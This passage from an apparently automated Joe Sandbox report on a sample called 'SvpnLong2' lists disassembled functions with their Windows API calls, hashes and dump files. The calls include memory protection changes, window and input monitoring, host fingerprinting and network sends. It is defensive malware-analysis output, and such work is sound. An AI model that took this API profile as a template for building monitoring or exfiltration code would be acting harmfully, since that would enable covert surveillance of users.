SleepEx.KERNEL32(?,?,?,?,?,?,?,0000000180001394), ref: 00000001800013CC
VirtualFree.KERNELBASE(?,?,?,?,?,?,?,0000000180001394), ref: 0000000180001419
VirtualFree.KERNELBASE(?,?,?,?,?,?,?,0000000180001394), ref: 000000018000145F

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: FreeVirtual$Sleep
String ID:
API String ID: 694846025-0
Opcode ID: 19d1a4f6f26d0675439d04772437e16e15e18e7d9f88b840cb9f86a681db8e50
Instruction ID: d8654014b47033d243019cf024325ed5441aa4159e8cd867cb7216eacdb32aba
Opcode Fuzzy Hash: 19d1a4f6f26d0675439d04772437e16e15e18e7d9f88b840cb9f86a681db8e50
Instruction Fuzzy Hash: 6131F834A099098FFFE9EF5DE49476537E1FF98312F0482AAA84AC7259CB34C9458B41

Function 01843080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 018430A0
FindCloseChangeNotification.KERNELBASE ref: 01843144

Part of subcall function 018534EC: _errno.LIBCMT ref: 018534FE
Part of subcall function 018534EC: _invalid_parameter_noinfo.LIBCMT ref: 01853509

Process32Next.KERNEL32 ref: 0184311E

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 9e16f7d71bb666a0a3024ac22c452917e7419aeba9a2986a714468f2fb20f4db
Instruction ID: cd21a949409466e391207743e637a7c17db9aa38fba5bddb0a15a5e07a47df52
Opcode Fuzzy Hash: 9e16f7d71bb666a0a3024ac22c452917e7419aeba9a2986a714468f2fb20f4db
Instruction Fuzzy Hash: 5C115B36314A9482DB118B26B81439AB7A4F759FE8F484612EEAD83B98DF3CC244C704

Function 0184ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 01853290: malloc.LIBCMT ref: 018532AA

GetLastInputInfo.USER32 ref: 0184EDCA
GetTickCount.KERNEL32 ref: 0184EDD0
GetForegroundWindow.USER32 ref: 0184EDFE

Part of subcall function 01842F20: IsWindow.USER32 ref: 01842F37
Part of subcall function 01842F20: GetWindowThreadProcessId.USER32 ref: 01842F63
Part of subcall function 01842F20: GetCurrentProcessId.KERNEL32 ref: 01842F6B
Part of subcall function 01842F20: GetCurrentThreadId.KERNEL32 ref: 01842F77
Part of subcall function 01842F20: GetWindowTextA.USER32 ref: 01842F8D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction ID: 9255cb40017f5dde36e24f72465564af396e2465f58dc5d6c747fc758c97926d
Opcode Fuzzy Hash: ef1ee96fdab8cd02b3870dfa0c2754cec3386380ef7e32bc1c0ab7c4d6796d78
Instruction Fuzzy Hash: 8F11252261438587CB54DF3AB84431D6761E785B80F44C425EF8A87B48DF3CC684C701

Function 0184E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 01853290: malloc.LIBCMT ref: 018532AA

GetLastInputInfo.USER32 ref: 0184EDCA
GetTickCount.KERNEL32 ref: 0184EDD0
GetForegroundWindow.USER32 ref: 0184EDFE

Part of subcall function 01842F20: IsWindow.USER32 ref: 01842F37
Part of subcall function 01842F20: GetWindowThreadProcessId.USER32 ref: 01842F63
Part of subcall function 01842F20: GetCurrentProcessId.KERNEL32 ref: 01842F6B
Part of subcall function 01842F20: GetCurrentThreadId.KERNEL32 ref: 01842F77
Part of subcall function 01842F20: GetWindowTextA.USER32 ref: 01842F8D

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction ID: 281ffe8becda91538266f0818fcd0f7f282020751612706187aed369d7707f88
Opcode Fuzzy Hash: ea6bf0708d890688abba7df2adce483530c5b2e115c5a3d89cacfb2d7662814f
Instruction Fuzzy Hash: E911E02272468587DB54DF6AF844359A761F789B80F089421EF8A87B48DF3CC690CB41

Function 00007FF741132750 Relevance: 4.5, APIs: 3, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 00007FF741132766
GetVersion.KERNEL32 ref: 00007FF741132781
HeapSetInformation.KERNEL32 ref: 00007FF7411327AB

Memory Dump Source

Source File: 00000000.00000002.2927544224.00007FF741101000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF741100000, based on PE: true

Associated: 00000000.00000002.2927527053.00007FF741100000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927544224.00007FF741170000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF741178000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927602746.00007FF74118B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927638566.00007FF741193000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927652277.00007FF741198000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927665630.00007FF74119D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF74119E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7411AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF741BAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2927681589.00007FF7425AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff741100000_SvpnLong2.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: ae26ec7020b712eb399372c4df4b480842f3712f56d0018bfd8bc90f55895eb9
Instruction ID: 10551fa0301bafc5b45db1c6e7605fafac575c846b6c2883ee337a04b98bf143
Opcode Fuzzy Hash: ae26ec7020b712eb399372c4df4b480842f3712f56d0018bfd8bc90f55895eb9
Instruction Fuzzy Hash: CFF05E74A2CA42C2F762B710B806375AAA2BF59744FD04432D95EC26A5DEBCE185CB60

Function 000000018010BB58 Relevance: 3.3, APIs: 2, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 000000018010BD28
VirtualProtect.KERNELBASE ref: 000000018010BD46

Memory Dump Source

Source File: 00000000.00000003.2690058333.000000018010A000.00000040.00001000.00020000.00000000.sdmp, Offset: 000000018010A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_18010a000_SvpnLong2.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d7ff0805060064c2536e4ef2f6062f163d5d000b9a871e9ecc558bba95859f3a
Instruction ID: 9e432253f5fbf751a63601f6fda669c90e2e60eff2ffaa1f9a787f2162d51c84
Opcode Fuzzy Hash: d7ff0805060064c2536e4ef2f6062f163d5d000b9a871e9ecc558bba95859f3a
Instruction Fuzzy Hash: ED71683275491D4BFBA6EA2898CC3E4B3C1E75D331F58862AD0D6C32C9DD64CA4D8B81

Function 01851980 Relevance: 3.1, APIs: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,?,01851E71,?,?,?,0184E182), ref: 01851A02
VirtualProtect.KERNELBASE(00000000,00000000,?,01851E71,?,?,?,0184E182), ref: 01851A58

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 3ab0f6e806003d2af7f9f673eb80fb9ed733f5735f621481242f4de43a64b368
Instruction ID: a92419f695b9464fd4683160d7359650a118ad5c472e130ef2d4543e7f97c727
Opcode Fuzzy Hash: 3ab0f6e806003d2af7f9f673eb80fb9ed733f5735f621481242f4de43a64b368
Instruction Fuzzy Hash: 9F21E533704A0083D7A68B5AE544BAD3B61F745FC9F554012EF1E87749DB38C641C700

Function 01842900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 01842960
send.WS2_32 ref: 0184299F

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction ID: b6af8449257a25c5febe21ecb8de2fa8031bd1b6d6fce3f62113f54041341545
Opcode Fuzzy Hash: 15db26ce0b318c216a0a286f3bd2225c8393db57c311448df21e445c578b8900
Instruction Fuzzy Hash: A8110636708A8A42E3305B2AB844B2A7E55FB99BD4F541235FF5883F95EE78C1928301

Function 00000001800020E0 Relevance: 3.1, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 00000001800014E0: socket.WS2_32 ref: 0000000180001547

Part of subcall function 0000000180002370: CreateThread.KERNELBASE ref: 000000018000247F

SleepEx.KERNEL32 ref: 000000018000213C
SleepEx.KERNEL32 ref: 0000000180002184

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Sleep$CreateThreadsocket
String ID:
API String ID: 472020527-0
Opcode ID: 95ba863e187a87016ecd349148616faf4c57dda559487e09005d365b4151b84c
Instruction ID: dc47bfa3993c4a2f924ba458e6c10902a934b777f5864c047b8e4a675824a888
Opcode Fuzzy Hash: 95ba863e187a87016ecd349148616faf4c57dda559487e09005d365b4151b84c
Instruction Fuzzy Hash: 10115130118A488FE7AAEB64D8D97DA73E1FBDC351F00471DA19AD31D1CE385645C782

Function 01843430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 0184346F
GetComputerNameA.KERNEL32 ref: 018434C5

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: f03b96890cf359402c9d8e26c005a7e88cc339572fe858314bd18a99437ef3aa
Instruction ID: 57af9385e21a7726dc05ddeedcad11ae07217243fb9b7f0c94f15f454f2ba344
Opcode Fuzzy Hash: f03b96890cf359402c9d8e26c005a7e88cc339572fe858314bd18a99437ef3aa
Instruction Fuzzy Hash: 6D216D32218BC085DB70CF28E45039EB7A2F794764F405316EAAD83A98DB3DC209CB12

Function 01852FEC Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 018548D4: GetLastError.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 018548DE
Part of subcall function 018548D4: FlsGetValue.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 018548EC
Part of subcall function 018548D4: FlsSetValue.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 01854918
Part of subcall function 018548D4: GetCurrentThreadId.KERNEL32 ref: 0185492C
Part of subcall function 018548D4: SetLastError.KERNEL32(?,?,000002C8,01853209,?,?,?,?,0185A510,?,?,00000000,018553AF,?,?,00000000), ref: 01854944

RtlExitUserThread.NTDLL(?,?,?,0185302E,?,?,?,?,018530BB), ref: 01853008
_getptd.LIBCMT ref: 01853014

Part of subcall function 01854AB0: FlsGetValue.KERNEL32(?,?,00000000,01853006,?,?,?,0185302E,?,?,?,?,018530BB), ref: 01854AC9
Part of subcall function 01854AB0: FlsSetValue.KERNEL32(?,?,00000000,01853006,?,?,?,0185302E,?,?,?,?,018530BB), ref: 01854ADA
Part of subcall function 01854AB0: _freefls.LIBCMT ref: 01854AE3

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Value$ErrorLastThread$CurrentExitUser_freefls_getptd
String ID:
API String ID: 1633623398-0
Opcode ID: 85fdc1df799093895e12fe98830ce453a0a687f40f240592b3a92065fa31124d
Instruction ID: a8850310d32f048146f2f2ab606d5912841adab0ea433c8a498814dc3b4f5d9d
Opcode Fuzzy Hash: 85fdc1df799093895e12fe98830ce453a0a687f40f240592b3a92065fa31124d
Instruction Fuzzy Hash: 04E08C11B0234A82CF9CB3B9589976C1291EBA9B00F849838CE0E87701ED3886998302

Function 0000000180004868 Relevance: 3.0, APIs: 2, Instructions: 25threadCOMMON

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,?,?,?,-00000004,0000000180004334), ref: 000000018000487E
_errno.LIBCMT ref: 0000000180004888

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: LanguagesPreferredRestoreThread_errno
String ID:
API String ID: 1221088885-0
Opcode ID: 9d5bbdc47385c15ffbb5bd818f8e75662d09f6819ee46c36186c974ed06af0aa
Instruction ID: 0326f5d89fd72d5b700b06fab96fbc3d2ed5ea2fba25c6840a825410dddaccf0
Opcode Fuzzy Hash: 9d5bbdc47385c15ffbb5bd818f8e75662d09f6819ee46c36186c974ed06af0aa
Instruction Fuzzy Hash: E7E026B0701B0947FFADA7B5588C3B831C0EB4C342F008425B404DA292FE7889408305

Function 0000000180001050 Relevance: 2.7, APIs: 2, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000001800010CA
VirtualFree.KERNELBASE ref: 0000000180001104

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 57a4a3c2904f379b93e75c0f41f175b8dd9952e217628a2d3faa0e9ab070a8b0
Instruction ID: dfe854fb34824081df9c06bbb4c23d5ef2b52cf882b527807f6d2dfc4c989f50
Opcode Fuzzy Hash: 57a4a3c2904f379b93e75c0f41f175b8dd9952e217628a2d3faa0e9ab070a8b0
Instruction Fuzzy Hash: 6F41E330618B4C8BDB4DDE1C94827A577D2FBD8341F14826EE98AC724ADE70E9468B81

Function 00000001800011B0 Relevance: 2.6, APIs: 2, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000000180001221
VirtualFree.KERNELBASE ref: 0000000180001255

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d65b97bdc748288432223570b9468836f8ee4c0bb2ad3e03c49049de54495d8a
Instruction ID: afbc877d425a8f8c381deed59f31018cfccfd750284134a34d46069ba95640de
Opcode Fuzzy Hash: d65b97bdc748288432223570b9468836f8ee4c0bb2ad3e03c49049de54495d8a
Instruction Fuzzy Hash: 1C219130A18A4D8FEB85DB2DE445365B3E1FB9C341F54866AF459C3245DB34DDD18B80

Function 01851890 Relevance: 2.6, APIs: 2, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,01851E4C,?,?,?,0184E182), ref: 018518FA
VirtualAlloc.KERNELBASE(?,?,?,01851E4C,?,?,?,0184E182), ref: 01851927

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3f5cbc31fbdde4e3a971f430e2eb90d2e35a4d02c5aaf16b305645254f94189b
Instruction ID: 5af69ca33b95169ca8b417a8680c93ae84721a44cb17c9d52320a29909767f6d
Opcode Fuzzy Hash: 3f5cbc31fbdde4e3a971f430e2eb90d2e35a4d02c5aaf16b305645254f94189b
Instruction Fuzzy Hash: 5D216DB670465086CB18CB57EA8476ABBB1F749FD4F44801ADF8987714EB38C9A1C700

Function 01841370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,00000000,018428B9), ref: 018413E1
VirtualFree.KERNELBASE(?,?,00000000,018428B9), ref: 01841415

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction ID: e919d6a4b095f53d23730c9b379d320e7ae03339e4324aa5b714371f1c5b9808
Opcode Fuzzy Hash: 22b099a9a0ceb279cb18a48dd4b8351576473fc888246094d87800388a397386
Instruction Fuzzy Hash: B9219632724A4487D749CB2EE54071D73A1F789B84F548525DB59D3B18EF38D9E28B40

Function 018412B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,018427C2), ref: 01841303
VirtualFree.KERNELBASE(?,?,?,018427C2), ref: 0184133C

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction ID: 837856306f4da645c56b1faf5af6f34040ab7eb7b4301fd739cbccb502b9de3f
Opcode Fuzzy Hash: c7620fa8e2e65044c607154e1f8bc049c84698878f3340dbe2d286ecc7890aba
Instruction Fuzzy Hash: 46119431710B8487D759CF39A54071AF3A5E794BC4F188125DA4AC3B18EF38CAD2CB40

Function 0000000180003310 Relevance: 1.8, APIs: 1, Instructions: 273COMMON

Download Yara Rule

APIs

CreateDIBSection.GDI32 ref: 000000018000358B

Part of subcall function 0000000180004444: malloc.LIBCMT ref: 000000018000445E

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: CreateSectionmalloc
String ID:
API String ID: 1789590810-0
Opcode ID: 6f7396fbdc65791feb88536667d41222f4edf666d0ade8f76582b404612c78de
Instruction ID: 905b070684dac851dfc84460b9703eb12f7c170cd7829fa455cd71629c9f78fe
Opcode Fuzzy Hash: 6f7396fbdc65791feb88536667d41222f4edf666d0ade8f76582b404612c78de
Instruction Fuzzy Hash: 34A11B70A1464C8FEB96DF28D8457D97BE1FF5D344F10422AE84AE7291DB38D982CB41

Function 00000001800038A0 Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 0000000180003A27

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: fa1f9f1776610e9ae125c4b752b401111286151983fa54e0540cc3b63336f1e6
Instruction ID: bc3aa78692bc300ae1f6648b6576b2d46316a3a8cd0881b84626d1ad0620553e
Opcode Fuzzy Hash: fa1f9f1776610e9ae125c4b752b401111286151983fa54e0540cc3b63336f1e6
Instruction Fuzzy Hash: 90513A705046088FDB8ADF28D4C9BD57BE1FF58300F1446AAEC4ADB29ADB35D885CB51

Function 0000000180001D90 Relevance: 1.6, APIs: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?,0000000180001D42), ref: 0000000180001E2F

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 77c14f1c509307085952fee3111a703da8e2a2851fb9be512093b3fba270264e
Instruction ID: 5591e67a492d67a46b0b347a88e23924069aa233fc93c4628f367cace7c08142
Opcode Fuzzy Hash: 77c14f1c509307085952fee3111a703da8e2a2851fb9be512093b3fba270264e
Instruction Fuzzy Hash: 6D21C73050CA4D8FE7A9EA2894463F932C0EB4A355F14523DFD9EC32D3EA64995747C2

Function 0000000180002CC0 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 0000000180002DC9

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 42d63cc87fef16f30ec86135a6335ea456d42fccfc97a5ce4aa852033cf62965
Instruction ID: 2db0d2a0654c42544245d0dbc979d03ea95c421f1f5bf3b08feb51dded469a26
Opcode Fuzzy Hash: 42d63cc87fef16f30ec86135a6335ea456d42fccfc97a5ce4aa852033cf62965
Instruction Fuzzy Hash: FA31B0709046458BFB5DAB34C8A93F43BA1EB08305F2442BAE58B9A1E2DF7C8DC5C714

Function 0000000180003690 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

DeleteDC.GDI32 ref: 00000001800036C5

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Delete
String ID:
API String ID: 1035893169-0
Opcode ID: 9379889f8a5789ad450830621e218cd18c4b243037c3e2f75fa091a14856cfdc
Instruction ID: 451a67850589af1fbe1c1bb1ada1a299f65525cc12966cb3e62414d8a215bdf8
Opcode Fuzzy Hash: 9379889f8a5789ad450830621e218cd18c4b243037c3e2f75fa091a14856cfdc
Instruction Fuzzy Hash: 9E31917060994D8FEBDAEF1DC8997E577A0FB59341F044178A84ECA1E5CF28D985CB10

Function 0000000180002C50 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 0000000180002C7F

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a3027c6149c5a8853592da063bedf1c40d791350f3630f32a22369123a5429ee
Instruction ID: edfec5841db78b6e8ae7e490f72ea046b03220d93e3dde312a17ec9d8f420442
Opcode Fuzzy Hash: a3027c6149c5a8853592da063bedf1c40d791350f3630f32a22369123a5429ee
Instruction Fuzzy Hash: EDF0547061064C4BF79AEB3898897E97A81BB8D354F5447A8B86BC62E3CF7C85488301

Function 00000001800065E4 Relevance: 1.5, APIs: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00000001800065FA

Memory Dump Source

Source File: 00000000.00000003.2690058333.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_180001000_SvpnLong2.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 2d42a42460c3a49781562a29761138ae66987863b72e58e96ea577568ae88891
Instruction ID: eafdf732c8118c5c8ca4b4c39114f1724f5df5ee802dda20fe1a0408f0207da6
Opcode Fuzzy Hash: 2d42a42460c3a49781562a29761138ae66987863b72e58e96ea577568ae88891
Instruction Fuzzy Hash: 71F06D386286484BF78CEB28DC5D36676E2F788344F909829F487C22D4EFBCC5458706

Function 0184E9AD Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 018530BC: _errno.LIBCMT ref: 018530E7
Part of subcall function 018530BC: _invalid_parameter_noinfo.LIBCMT ref: 018530F2

FindCloseChangeNotification.KERNELBASE ref: 0184E9F9

Memory Dump Source

Source File: 00000000.00000002.2926878783.0000000001840000.00000040.00001000.00020000.00000000.sdmp, Offset: 01840000, based on PE: true

Associated: 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2926878783.0000000001B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1840000_SvpnLong2.jbxd

Similarity

API ID: ChangeCloseFindNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 3879645562-0
Opcode ID: e33c38ae5819eb9e48e9ea88f34de7988f70daf09292e8181e9fb43e05a58b4a
